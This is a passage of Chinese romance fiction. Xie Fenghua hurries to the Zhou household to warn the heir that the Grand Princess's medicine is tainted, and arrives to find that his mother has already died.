灵仙讶然，似乎没想过她会如此鲁莽，但见她不似玩笑，立刻拽住了她的衣袖，“谢逢华，你告诉他又有何用？你救不了她，他也救不了，没人能救活一个死人。” 谢逢华按着刺痛的心口，话语栓在喉间，心脏疼的好似要迸裂，“他应该和母亲好好道别。” 她生于母亲怀中，长于母亲怀中，到头来，母亲的怀抱竟成了谢逢华一辈子挥散不去的阴霾。 谢逢华不想让周其卿踏入她的后尘。 灵仙劝不住她，只好随她披了大氅，匆匆踏出了院中。 适逢明玥房中婢女来传晚膳，见她们二人行色匆匆，暗道不好。 “天色已晚，二位姑娘要去哪里？” 谢逢华充耳未闻，径直宣管家备下马车，顾不得拦下去通风报信的婢女，将还在犹豫的灵仙拉上马车。 灵仙怨气冲天：“你还嫌命不够短，上赶着去周府送死？” 谢逢华掀开锦帘一角，紧紧盯着前方朦胧摇曳的灯火，像是抓住了最后一丝生机。< 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谢逢华疾走两步，忽然想到什么，顿足回首，看向容舟：“长公主在哪里？” 容舟尚未张口，忽而身侧花影摇动，崔二夫人猝不及防出现在二人视线中。 她似比往日消瘦了些，艳丽的妆容遮不住眼底的憔悴一张口，嗓音沙哑似哭过：“在东苑的瑶芳阁。” 谢逢华颔首，道了声“多谢”，便携着灵仙朝周府深处去了。 目送她身影远去，崔二夫人喃喃自语：“晚了。” 容舟看向她：“什么晚了？” 对上她质疑的目光，崔二夫人忽而卸了全身力气，仿若被夺去珍宝却发现连反抗也做不到的无可奈何：“你们来晚了。” “不晚，还来得及。” 谢逢华目视前方，这一路几乎连气都没喘一下，“只要人活着，一切都还来得及。” “不晚，不迟。”灵仙冷哼，“被周惕守送进鬼门关时也不迟。” 谢逢华并不应语，像是默认了这般结局。 越过二进门，一道黑影悄然拦在必经之路上，无声无息，宛若灵幽。 借着似有若无的月色，谢逢华看清那人侧颜，不禁喜上眉梢：“世子！” 周其卿闻声望来，眼底幽深如死潭，辨不清心绪。 谢逢华全然未觉他周遭的阴郁，抓住他的衣袖，急切道：“长公主的药有问题。” 那双羽翼似的睫轻轻振翅，不疾不徐地应了声。 “现在还能拦住他们……”谢逢华自顾自说着，牵着他欲往卧房去。 拽了下，却没拽动。 谢逢华疑惑朝他望来。 周其卿立于原地，月色袅袅，化作他眼角的一滴泪。 谢逢华怔愣，缓缓抬手，小心翼翼拾去那一点明珠。 周其卿倏然抓住她的腕骨，将她拽入阴影之中。 谢逢华猝然跌进一个悲伤的怀抱。 怀中温凉，颈间潮湿，少年沙哑的声音重重砸进心脏： “谢逢华，我没有娘了。”